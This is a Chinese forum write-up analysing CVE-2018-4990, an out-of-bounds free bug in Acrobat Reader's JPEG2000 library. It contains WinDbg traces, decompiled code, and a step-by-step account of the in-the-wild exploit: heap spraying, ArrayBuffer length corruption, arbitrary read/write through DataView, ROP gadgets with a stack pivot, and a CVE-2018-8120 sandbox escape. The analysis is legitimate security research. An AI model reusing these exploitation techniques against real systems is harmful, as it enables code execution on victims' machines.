CVE-2018-4990 Acrobat Reader堆内存越界访问释放漏洞分析

CVE-2018-4990 Acrobat Reader堆内存越界访问释放漏洞分析_第1张图片

样本MD5

bd23ad33accef14684d42c32769092a0


漏洞简介

CVE-2018-4990是Adobe在2018年5月修复的一个Adobe DC系列PDF阅读器的0day,原样本配合另一个windows本地提权漏洞CVE-2018-8120一起使用,后者用来进行沙箱逃逸,关于CVE-2018-8120漏洞的分析可以参考 @Leeqwind 同学写的《通过对比 5 月补丁分析 win32k 空指针解引用漏洞》一文。

官方公告说这是一个Double Free漏洞,但调试发现这是一个任意地址释放漏洞,原样本中,在32位环境下,攻击者可以通过这个漏洞实现对任意两个4字节地址的释放。原样本漏洞触发前用精准的堆喷射巧妙地布局内存,然后触发漏洞,释放可控的的两块大小为0xfff8的相邻堆块。

随后,Windows堆分配算法自动将两块空闲的堆块合并成一个大堆块,接着立即重新使用这个大堆块,并利用这个该堆块的读写能力改写一个ArrayBuffer对象的长度为0x66666666,从而实现任意地址读写。


影响版本

根据公告,这个漏洞并不影响Adobe Reader 11.x及之前的版本,根据ESET的给出的列表,影响的版本如下:

Acrobat DC (2018.011.20038 and earlier versions)

Acrobat Reader DC (2018.011.20038 and earlier versions )

Acrobat 2017 (011.30079 and earlier versions)

Acrobat Reader DC 2017 (2017.011.30079 and earlier versions)

Acrobat DC (Classic 2015) (2015.006.30417 and earlier versions)

Acrobat Reader DC (Classic 2015) (2015.006.30417 and earlier versions)


分析环境

本次调试使用的是Adobe Acrobat Reader DC 18.11.20035,JP2Klib.lib版本为1.2.2.39492。操作系统为Windows 7 sp1 x86,调试器为Windbg。


全页堆下的crash分析

拿到样本,我们要做的第一件事就是定位漏洞触发点,先开启全页堆,打开样本后发现crash,现场如下:

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=d0d0d0b0 ebx=00000000 ecx=d0d0d000 edx=d0d0d0b0 esi=01930000 edi=01930000

eip=72676e88 esp=001ba2e0 ebp=001ba32c iopl=0        nv up ei ng nz na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00010286

verifier!AVrfpDphFindBusyMemoryNoCheck+0xb8:

72676e88 813abbbbcdab    cmp    dword ptr [edx],0ABCDBBBBh ds:0023:d0d0d0b0=????????

0:000> kv 20

ChildEBP RetAddr  Args to Child

001ba32c 72676f95 01931000 d0d0d0d0 01930000 verifier!AVrfpDphFindBusyMemoryNoCheck+0xb8 (FPO: [SEH])

001ba350 72677240 01931000 d0d0d0d0 001ba3c0 verifier!AVrfpDphFindBusyMemory+0x15 (FPO: [2,5,0])

001ba36c 72679080 01931000 d0d0d0d0 0090d911 verifier!AVrfpDphFindBusyMemoryAndRemoveFromBusyList+0x20 (FPO: [2,3,0])

001ba388 779169cc 01930000 01000002 d0d0d0d0 verifier!AVrfDebugPageHeapFree+0x90 (FPO: [3,3,0])

001ba3d0 778d9e07 01930000 01000002 d0d0d0d0 ntdll!RtlDebugFreeHeap+0x2f (FPO: [SEH])

001ba4c4 778a63a6 00000000 d0d0d0d0 51b6cf98 ntdll!RtlpFreeHeap+0x5d (FPO: [SEH])

001ba4e4 7708c614 01930000 00000000 d0d0d0d0 ntdll!RtlFreeHeap+0x142 (FPO: [3,1,4])

001ba4f8 6f0cecfa 01930000 00000000 d0d0d0d0 kernel32!HeapFree+0x14 (FPO: [3,0,0])

001ba50c 67eb0574 d0d0d0d0 0ee62d74 52148fac MSVCR120!free+0x1a (FPO: [Non-Fpo]) (CONV: cdecl) [f:\dd\vctools\crt\crtw32\heap\free.c @ 51]

WARNING: Stack unwind information not available. Following frames may be wrong.

001ba62c 67ec6482 5383cfb8 51b6afd8 000000fd JP2KLib!JP2KCopyRect+0xbae6

001ba684 64e56cfc 5387ae88 53874fd0 51b6afd8 JP2KLib!JP2KImageInitDecoderEx+0x24

001ba70c 64e58696 53834fa8 52148fac 53834fa8 AcroRd32_64860000!AX_PDXlateToHostEx+0x261843

001ba76c 64e4d785 52148fac 001ba78c 64e56640 AcroRd32_64860000!AX_PDXlateToHostEx+0x2631dd

001ba778 64e56640 52148fac 53056f70 53050fc8 AcroRd32_64860000!AX_PDXlateToHostEx+0x2582cc

001ba78c 64a4030d 52148fac 53050fd0 53050fc8 AcroRd32_64860000!AX_PDXlateToHostEx+0x261187

001ba7c8 64a3f92b c0010000 00000016 53050fc8 AcroRd32_64860000!PDMediaQueriesGetCosObj+0x7867d

001ba898 64a3ebc6 001bac40 00000000 1065768e AcroRd32_64860000!PDMediaQueriesGetCosObj+0x77c9b

001babe8 64a3eb88 001bac40 4ee49a50 1065717a AcroRd32_64860000!PDMediaQueriesGetCosObj+0x76f36

001bac1c 64a3ea71 53050e28 4ee49a50 001bacd4 AcroRd32_64860000!PDMediaQueriesGetCosObj+0x76ef8

001bac88 64a3d949 c0010000 00000016 4ee49a50 AcroRd32_64860000!PDMediaQueriesGetCosObj+0x76de1

001bb0f4 64a3ade9 001bb3e0 51ae2598 c0010000 AcroRd32_64860000!PDMediaQueriesGetCosObj+0x75cb9

001bc8cc 64a3aa51 51ae2598 c0010000 00000016 AcroRd32_64860000!PDMediaQueriesGetCosObj+0x73159

001bc9a4 64a24ab0 10651702 00000000 4ee49a50 AcroRd32_64860000!PDMediaQueriesGetCosObj+0x72dc1

001bca64 64a844b4 00000000 00000000 00000000 AcroRd32_64860000!PDMediaQueriesGetCosObj+0x5ce20

001bcac0 64a3d2d3 00000000 00000000 00000000 AcroRd32_64860000!CTJPEGDecoderReadNextTile+0x2dea4

001be28c 64a3aa51 51ae250c c0010000 00000015 AcroRd32_64860000!PDMediaQueriesGetCosObj+0x75643

001be364 64a24ab0 10653942 5213ef78 00000000 AcroRd32_64860000!PDMediaQueriesGetCosObj+0x72dc1

001be424 64a22e70 00000001 00000000 00000000 AcroRd32_64860000!PDMediaQueriesGetCosObj+0x5ce20

001be46c 64a13d93 5213ef78 00000001 00000000 AcroRd32_64860000!PDMediaQueriesGetCosObj+0x5b1e0

001be5cc 64a134fa 5360adbc 00000001 0000002d AcroRd32_64860000!PDMediaQueriesGetCosObj+0x4c103

001be634 64ac4a44 10653bd2 00000000 001be6d4 AcroRd32_64860000!PDMediaQueriesGetCosObj+0x4b86a

001be6b4 64ac4751 4e180ef8 c0010000 0000002d AcroRd32_64860000!CTJPEGDecoderReadNextTile+0x6e434

看过《Windows高级调试》第6章页堆部分的同学应该已经明白了,free地址为0x0d0d0d0d的原因是释放了全页堆的后置填充区域。

CVE-2018-4990 Acrobat Reader堆内存越界访问释放漏洞分析_第2张图片

到这里,有经验的同学应该已经可以猜到是因为堆内存的越界访问导致释放了堆的后置填充数据,从上面的栈回溯我们可以看到这是JP2Klib动态库的一处调用导致的,如下:

001ba62c 67ec6482 5383cfb8 51b6afd8 000000fd JP2KLib!JP2KCopyRect+0xbae6

我们在IDA里面看一下相应偏移处的代码逻辑:

count1 = 0;

count2 = 0;

if ( *(v116 + 4) > 0 )

{

  do

  {

      if ( *(*(*(pObj + 0x48) + 0xC) + 4 * count1) )

      {

        sub_66FEA(*(*(*(pObj + 0x48) + 0xC) + 4 * count1)); // 从这里进入后面的free()        count1 = count2;

        *(*(*(pObj + 0x48) + 0xC) + 4 * count2) = 0;

      }

      count2 = ++count1;

  }while ( count1 < *(*(pObj + 0x48) + 4) );

}

将上述代码整理一下后可以更清楚地看到逻辑:

count = 0;

if ( *(v116 + 4) > 0 )

{

  do

  {

      if ( *(mem_base + 4 * count) )

      {

          free(mem_base);

          *(mem_base + 4 * count) = 0;

      }

      count++;

  }while ( count < max_count );

}

漏洞的根本原因

我们来监控一下max_count和while循环里的count变化过程

bp JP2KLib+50588 "dd eax+4 l1; g;"  // 获取max_count值

bp JP2KLib+50567 "r eax; r ecx; g;" // 获取mem基地址和每次循环的count值

bp JP2KLib+5056e "r eax; g;"        // 获取每次free()的地址

CVE-2018-4990 Acrobat Reader堆内存越界访问释放漏洞分析_第3张图片

利用 PdfStreamDumper.exe 对pdf的修改能力,我们对内嵌的javascript代码稍作修改,放开原代码的一处注释,目的是在漏洞触发前弹个对话框,便于我们下断点:

CVE-2018-4990 Acrobat Reader堆内存越界访问释放漏洞分析_第4张图片

可以看到mem_base为 073fa1a0, max_count = 0xff,当count变化到0xfd和0xfe时两个在原js中出现得的堆地址 0x0d0e0048 和 0x0d0f0048 被释放。

0:000> bp JP2KLib+50588 "dd eax+4 l1; g;"

0:000> bp JP2KLib+50567 "r eax; r ecx; g;"

0:000> bp JP2KLib+5056e "r eax; g;"

0:000> g

eax=073fa1a0

ecx=00000000

17bf44d4  000000ff

eax=073fa1a0

ecx=00000001

17bf44d4  000000ff

...略去无关输出...

eax=073fa1a0

ecx=000000fd

eax=0d0e0048

17bf44d4  000000ff

eax=073fa1a0

ecx=000000fe

eax=0d0f0048

17bf44d4  000000ff

此时我们对mem_base的分配大小很感兴趣,重启windbg,观察一下mem_base的大小,可以看到mem_base的大小为0x3f4

0:000> !heap -p -a 0aaf5060

  address 0aaf5060 found in

  _HEAP @ 880000

    HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state

      0aaf5048 0089 0000  [00]  0aaf5060    003f4 - (busy)

      Trace: 1dd977d4

      7707dd6c ntdll!RtlAllocateHeap+0x00000274

      694ded63 MSVCR120!malloc+0x00000049

      674b6f34 JP2KLib!JP2KTileGeometryRegionIsTile+0x00000102

      674912cb JP2KLib!JP2KCodeStm::write+0x00017dcb

      67490978 JP2KLib!JP2KCodeStm::write+0x00017478

      6749f746 JP2KLib!JP2KCopyRect+0x0000acb8

      674b6482 JP2KLib!JP2KImageInitDecoderEx+0x00000024

到这里漏洞的成因已经很清楚了,漏洞根源在于 max_count = 0xff,而ff*4 = 3fc,所以while循环内部最大允许访问到 mem_base+3fc 地址处。

但是我们看到mem_base对应处的内存大小只有0x3f4,两者的差值为8个字节3fc - 3f4 = 8,于是可以借助上述while循环越界访问两个4字节地址并释放,来实现任意释放两个地址。

于是攻击者可以通过内存布局(例如堆喷射)提供的任意两个4字节地址,并实现任意释放,如下是样本中越界释放的两个堆地址,他们提高堆喷射被镜像布局到相邻的内存。

0:000> dd 0aaf5060+3f4 l2

0aaf5454  0d0e0048 0d0f0048

所以这本质上不是一个double free漏洞,而是任意地址释放漏洞(原样本在32位下可以释放两个任意地址)。


堆喷射占坑+OOB释放

攻击者在已经知道漏洞内存区域大小为0x3f4的前提下,在漏洞触发前利用精心控制大小(0x400)的堆喷射构造大量对象,然后释放其中的一半,借助堆分配算法,JP2Klib在申请漏洞对象时,会从释放的堆块里面直接复用一个。

CVE-2018-4990 Acrobat Reader堆内存越界访问释放漏洞分析_第5张图片

上述复用造成了很有意思的现象,我们在windbg下来看一下

0:000> bp JP2KLib+66f31 ".if(esi=3f4){}.else{g;}"

0:000> g

eax=17df5178 ebx=000000fd ecx=000003f4 edx=00000000 esi=000003f4 edi=17d2ad38

eip=69496f31 esp=0029a22c ebp=0029a258 iopl=0        nv up ei pl nz na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00000206

JP2KLib!JP2KTileGeometryRegionIsTile+0xff:

69496f31 ff5010          call    dword ptr [eax+10h]  ds:0023:17df5188=63a60721

0:000> p

eax=075a9198 ebx=000000fd ecx=77052fe7 edx=002f6c88 esi=000003f4 edi=17d2ad38

eip=69496f34 esp=0029a22c ebp=0029a258 iopl=0        nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00000202

JP2KLib!JP2KTileGeometryRegionIsTile+0x102:

69496f34 8bf8            mov    edi,eax

0:000> !heap -p -a 75a9198

  address 075a9198 found in

  _HEAP @ 2f0000

    HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state

      075a9190 0081 0000  [00]  075a9198    003f4 - (busy)// 0x400大小的堆块busy和free交替出现0:000> !heap -flt s 400

  _HEAP @ 2f0000

    HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state

      002fe5d8 0081 0000  [00]  002fe5e0    00400 - (busy)

      ...

      075a8170 0081 0081  [00]  075a8178    00400 - (free)

      075a8578 0081 0081  [00]  075a8580    00400 - (busy)

      075a8980 0081 0081  [00]  075a8988    00400 - (free)

      075a8d88 0081 0081  [00]  075a8d90    00400 - (busy)

      // 075a9198 本来是此处的块 0x400大小的空闲内存      075a9598 0081 0081  [00]  075a95a0    00400 - (busy)

      075a99a0 0081 0081  [00]  075a99a8    00400 - (busy)

      075a9da8 0081 0081  [00]  075a9db0    00400 - (busy)

      075aa5b8 0081 0081  [00]  075aa5c0    00400 - (busy)

      075aadc8 0081 0081  [00]  075aadd0    00400 - (busy)

      075ab5d8 0081 0081  [00]  075ab5e0    00400 - (busy)

      075ab9e0 0081 0081  [00]  075ab9e8    00400 - (free)

      075abde8 0081 0081  [00]  075abdf0    00400 - (busy)// 越界访问后待释放的两个地址0:000> dd 75a9198+3f4 l2

075a958c  0d0e0048 0d0f0048// 此时待释放的堆块都在使用中075a958c  0d0e0048 0d0f0048

0:000> !heap -p -a 0d0e0048

  address 0d0e0048 found in

  _HEAP @ 2f0000

    HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state

      0d0e0040 2000 0000  [00]  0d0e0048    0fff8 - (busy)

0:000> !heap -p -a 0d0f0048

  address 0d0f0048 found in

  _HEAP @ 2f0000

    HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state

      0d0f0040 2000 0000  [00]  0d0f0048    0fff8 - (busy)// 对越界释放处下断点0:000> bp JP2KLib+5056e

0:000> g

...

eax=0d0e0048 ebx=00000000 ecx=000000fd edx=00000001 esi=17d2ad38 edi=17e43e60

eip=6948056e esp=0029a348 ebp=0029a45c iopl=0        nv up ei pl nz na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00000206

JP2KLib!JP2KCopyRect+0xbae0:

6948056e 50              push    eax

0:000> p

eax=0d0e0048 ebx=00000000 ecx=000000fd edx=00000001 esi=17d2ad38 edi=17e43e60

eip=6948056f esp=0029a344 ebp=0029a45c iopl=0        nv up ei pl nz na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00000206

JP2KLib!JP2KCopyRect+0xbae1:

6948056f e8766a0100      call    JP2KLib!JP2KTileGeometryRegionIsTile+0x1b8 (69496fea)

0:000> p

eax=00000001 ebx=00000000 ecx=77056570 edx=002f0000 esi=17d2ad38 edi=17e43e60

eip=69480574 esp=0029a344 ebp=0029a45c iopl=0        nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00000202

JP2KLib!JP2KCopyRect+0xbae6:

69480574 8b4648          mov    eax,dword ptr [esi+48h] ds:0023:17d2ad80=17df4ca0// 第一次越界free后,0d0e0048堆块被释放0:000> !heap -p -a 0d0e0048

  address 0d0e0048 found in

  _HEAP @ 2f0000

    HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state

      0d0e0040 2000 0000  [00]  0d0e0048    0fff8 - (free)

0:000> !heap -p -a 0d0f0048

  address 0d0f0048 found in

  _HEAP @ 2f0000

    HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state

      0d0f0040 2000 0000  [00]  0d0f0048    0fff8 - (busy)

0:000> g

eax=0d0f0048

eax=0d0f0048 ebx=00000000 ecx=000000fe edx=002f0000 esi=17d2ad38 edi=17e43e60

eip=6948056e esp=0029a348 ebp=0029a45c iopl=0        nv up ei pl nz na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00000206

JP2KLib!JP2KCopyRect+0xbae0:

6948056e 50              push    eax

0:000> p

eax=0d0f0048 ebx=00000000 ecx=000000fe edx=002f0000 esi=17d2ad38 edi=17e43e60

eip=6948056f esp=0029a344 ebp=0029a45c iopl=0        nv up ei pl nz na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00000206

JP2KLib!JP2KCopyRect+0xbae1:

6948056f e8766a0100      call    JP2KLib!JP2KTileGeometryRegionIsTile+0x1b8 (69496fea)

0:000> p

eax=00000001 ebx=00000000 ecx=77056570 edx=002f0000 esi=17d2ad38 edi=17e43e60

eip=69480574 esp=0029a344 ebp=0029a45c iopl=0        nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00000202

JP2KLib!JP2KCopyRect+0xbae6:

69480574 8b4648          mov    eax,dword ptr [esi+48h] ds:0023:17d2ad80=17df4ca0// 第二次越界free后,0d0f0048堆块被释放,释放过程中合并成一个大堆块0:000> !heap -p -a 0d0f0048

  address 0d0f0048 found in

  _HEAP @ 2f0000

    HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state

      0d0e0040 4000 0000  [00]  0d0e0048    1fff8 - (free)

随后攻击者通过以下代码立即将上述合并的堆块重新使用。

CVE-2018-4990 Acrobat Reader堆内存越界访问释放漏洞分析_第6张图片

由于漏洞触发前的如下堆喷射语句,0d0e0048和0d0f0048在释放前分别代表一个长度为0x10000 - 24的ArrayBuffer对象。在UAF之后,0d0e0048+0d0e0048的内存变成了一个长度为0x20000-24的ArrayBuffer对象。

接着攻击者利用长度为0x20000-24的ArrayBuffer的读写能力去改写释放前0d0f0048对应ArrayBuffer对象的长度,将其改写为0x66666666。然后利用之前在数据sprayarr中保留的找到长度为0x66666666的“ArrayBuffer”对象(这时候已经是伪造的了),紧接着将其赋值给一个DataView对象借助DataView来实现任意地址读写。

CVE-2018-4990 Acrobat Reader堆内存越界访问释放漏洞分析_第7张图片

重启调试器,来看一下上述过程:

// 观察一下前一个堆块的大小0:004> !heap -p -a 0d0d0048

  address 0d0d0048 found in

  _HEAP @ 1110000

    HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state

      0d0d0040 2000 0000  [00]  0d0d0048    0fff8 - (busy)// 观察合并堆块的大小0:004> !heap -p -a 0d0f0048

  address 0d0f0048 found in

  _HEAP @ 1110000

    HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state

      0d0e0040 4000 0000  [00]  0d0e0048    1fff8 - (busy)// 可以看到ArrayBuffer的+0x4偏移处代表其长度0:004> dd 0d0e0048

0d0e0048  00000000 0001ffe8 00000000 00000000

0d0e0058  00000000 00000000 00000000 00000000

0d0e0068  00000000 00000000 00000000 00000000

0d0e0078  00000000 00000000 00000000 00000000

0d0e0088  00000000 00000000 00000000 00000000

0d0e0098  00000000 00000000 00000000 00000000

0d0e00a8  00000000 00000000 00000000 00000000

0d0e00b8  00000000 00000000 00000000 00000000// 长度域被修改之后 0d0f0048 代表的“ArrayBuffer对象”的长度域被修改为了0x666666660:004> dd 0d0f0048

0d0f0048  00000000 66666666 00000000 00000000

0d0f0058  00000000 00000000 00000000 00000000

0d0f0068  00000000 00000000 00000000 00000000

0d0f0078  00000000 00000000 00000000 00000000

0d0f0088  00000000 00000000 00000000 00000000

0d0f0098  00000000 00000000 00000000 00000000

0d0f00a8  00000000 00000000 00000000 00000000

0d0f00b8  00000000 00000000 00000000 00000000

随后攻击者用其初始化一个DataView对象,并借助DataView对象实现了任意地址读写函数:

CVE-2018-4990 Acrobat Reader堆内存越界访问释放漏洞分析_第8张图片

随后利用任意读写能力泄漏Escript.api基址,构造ROP:

// myarraybase = 0x0d130058// var obj1 = myread(myarraybase - 8);// obj1 = 06bea450// var obj2 = myread(obj1 + 4);0:012> dd 06b25c40 l2

06b25c40  67754a90 06b313a0// var obj3 = myread(obj2);0:012> dd 67754a90 l3

67754a90  676ab824 9c000521 6751966b// var dll_base = (myread(obj3 + 8) - 0x00010000) & 0xffff0000;0:012> ? (6751966b-10000) & ffff0000

Evaluate expression: 1733296128 = 67500000

0:012> lmvm escript

start    end        module name

67500000 677a1000  EScript    (deferred)

  Image path: C:\Program Files\Adobe\Acrobat Reader DC\Reader\plug_ins\EScript.api

  Image name: EScript.api

  Timestamp:        Sat Feb 03 02:11:27 2018 (5A74A9CF)

  CheckSum:        00000000

  ImageSize:        002A1000

  File version:    18.11.20035.2003

  Product version:  18.11.20035.2003

  File flags:      0 (Mask 3F)

  File OS:          4 Unknown Win32

  File type:        2.0 Dll

  File date:        00000000.00000000

  Translations:    0409.04b0

  CompanyName:      Adobe Systems Incorporated

  ProductName:      Adobe Acrobat Escript

  InternalName:    Escript

  OriginalFilename: Escript.api

  ProductVersion:  18.11.20035.264147

  FileVersion:      18.11.20035.264147

  FileDescription:  Adobe Acrobat Escript Plug-in

  LegalCopyright:  Copyright 1984-2017 Adobe Systems Incorporated and its licensors. All rights reserved.

  LegalTrademarks:  Adobe, Acrobat and the Acrobat logo are trademarks of Adobe Systems Incorporated which may be registered in certain jurisdictions.

随后构造ROP,填充PE数据:

CVE-2018-4990 Acrobat Reader堆内存越界访问释放漏洞分析_第9张图片

构造完ROP后对escript的off_259BA4全局变量指向的指定偏移的数据进行修改:

/*  // 0xC7D06  mywrite(objescript, 0x6b707d06 - 0x6b640000 + dll_base);*/0:012> u escript+4389f

*** WARNING: Unable to verify checksum for C:\Program Files\Adobe\Acrobat Reader DC\Reader\plug_ins\EScript.api

*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Adobe\Acrobat Reader DC\Reader\plug_ins\EScript.api -

EScript!mozilla::HashBytes+0x33229:

6754389f 94              xchg    eax,esp <-- stack pivot

675438a0 c3              ret

.../*  // 0x4389F  mywrite(objescript + 0x598, 0x6b68389f - 0x6b640000 + dll_base); // 这一步我暂时没有完全理解*/0:012> u escript+c7d06

EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x61021:

675c7d06 5c              pop    esp

675c7d07 59              pop    ecx

675c7d08 59              pop    ecx

675c7d09 5d              pop    ebp

675c7d0a c20400          ret    4

通过stack pivot切换执行流到ROP

0:000> dps esp-10

0d13005c  00000000

0d130060  00000000

0d130064  6973845b EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0xe1776

0d130068  6973845b EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0xe1776

0d13006c  6973845a EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0xe1775

0d130070  69787084 EScript!double_conversion::DoubleToStringConverter::ToPrecision+0x1d130

0d130074  69601767 EScript!mozilla::HashBytes+0x10f1

0d130078  695f230d EScript+0x230d

0d13007c  0d130058

0d130080  6960ecaf EScript!mozilla::HashBytes+0xe639

0d130084  69613a4b EScript!mozilla::HashBytes+0x133d5

0d130088  0d130058 // lpAddress0d13008c  00010201 // dwSize0d130090  00001000 // flNewProtect: PAGE_EXECUTE_READWRITE0d130094  00000040 // lpflOldProtect: PAGE_READWRITE0d130098  90909090

0d13009c  41414141

...

0:000> u 6973845b

EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0xe1776:

6973845b c3              ret

0:000> u 6973845a

EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0xe1775:

6973845a 59              pop    ecx

6973845b c3              ret

69787084  ; import addr of VirtualAlloc

0:000> u 69601767

EScript!mozilla::HashBytes+0x10f1:

69601767 8b01            mov    eax,dword ptr [ecx]

69601769 c3              ret

0:000> u 695f230d

EScript+0x230d:

695f230d 5d              pop    ebp

695f230e c3              ret

0:000> u 6960ecaf

EScript!mozilla::HashBytes+0xe639:

6960ecaf ffe0            jmp    eax

0:000> u 69613a4b

EScript!mozilla::HashBytes+0x133d5:

69613a4b ffe4            jmp    esp

沙箱逃逸

ROP执行完毕后,样本进入shellcode,shellcode执行完后,在内存中直接执行PE,PE利用了CVE-2018-8120进行本地提权,提权成功后可以看到沙箱进程的权限已经由low变成了system。

随后样本会弹出对话框,并向启动项写入一个one.vbs,one.vbs的作用是从本地http服务器下载一个calc.exe,从这里可以看出这个组合漏洞样本还在测试阶段。

后记

由于这个Adobe将这个漏洞归类为Double Free,所以一开始我一直在往Double Free的方面想,导致浪费了大量时间。

在这个过程中我看到了一篇非常精彩的Double Free文章《Too Much Freedom is Dangerous: Understanding IE 11 CVE-2015-2419 Exploitation》,想入门Double Free漏洞分析的同学可以好好看一下这篇文章。

同时,在本地复现时我发现win7下在打了2018年3月的内核补丁后Adobe在8120的提权过程中会导致虚拟机直接重启,不打该补丁则一切正常,目前还未完全清楚该问题的原因。

此外,实际执行时发现bkm.execute();这一步的前一步就可以导向ROP,我暂时没有调试清楚最后两步的含义,只知道是在切换执行流,也希望理解的同学可以告诉我一下。

// 0x4389F, 实际执行这一步后就会触发ROPmywrite(objescript + 0x598, 0x6b68389f - 0x6b640000 + dll_base);// 所以这一步的作用是?bkm.execute();

这个漏洞我从上周开始一直在花时间调试,直到昨天下午国外 @steventseeley 发了一篇对这个漏洞的分析,当时感觉他并没有分析清楚漏洞原因,昨晚看了 @klotxl404 和 @binjo两位大神在twitter上的互动后恍然大悟。今天下午看到 @steventseeley 的文章也更新了,他那篇还画了图,表述得非常清晰,可以先看他那篇。

这个漏洞中max_count值是否可控,以及其是否可以通过恶意的JPEG2000图像数据进行操纵,目前还暂不清楚,等待后面补充,或者等待有能力的同学进行补充。

第一次调试 Adobe Reader 漏洞,不足之处请多见谅。

原文写于2018/5/23,2018/5/24 稍作修改。

参考链接

《A tale of two zero-days》 https://www.welivesecurity.com/2018/05/15/tale-two-zero-days/

《通过对比 5 月补丁分析 win32k 空指针解引用漏洞》 https://xiaodaozhi.com/exploit/149.html

《Adobe, Me and an Arbitrary Free :: Analyzing the CVE-2018-4990 Zero-Day Exploit》https://srcincite.io/blog/2018/05/21/adobe-me-and-a-double-free.html

《Too Much Freedom is Dangerous: Understanding IE 11 CVE-2015-2419 Exploitation》https://blog.checkpoint.com/2016/02/10/too-much-freedom-is-dangerous-understanding-ie-11-cve-2015-2419-exploitation/

《Javascript DataView》http://pwdme.cc/2018/01/21/javascript-dataview/

原文链接:[原创]CVE-2018-4990 Acrobat Reader堆内存越界访问释放漏洞分析

本文由看雪论坛 银雁冰 原创

转载请注明来自看雪社区

你可能感兴趣的:(CVE-2018-4990 Acrobat Reader堆内存越界访问释放漏洞分析)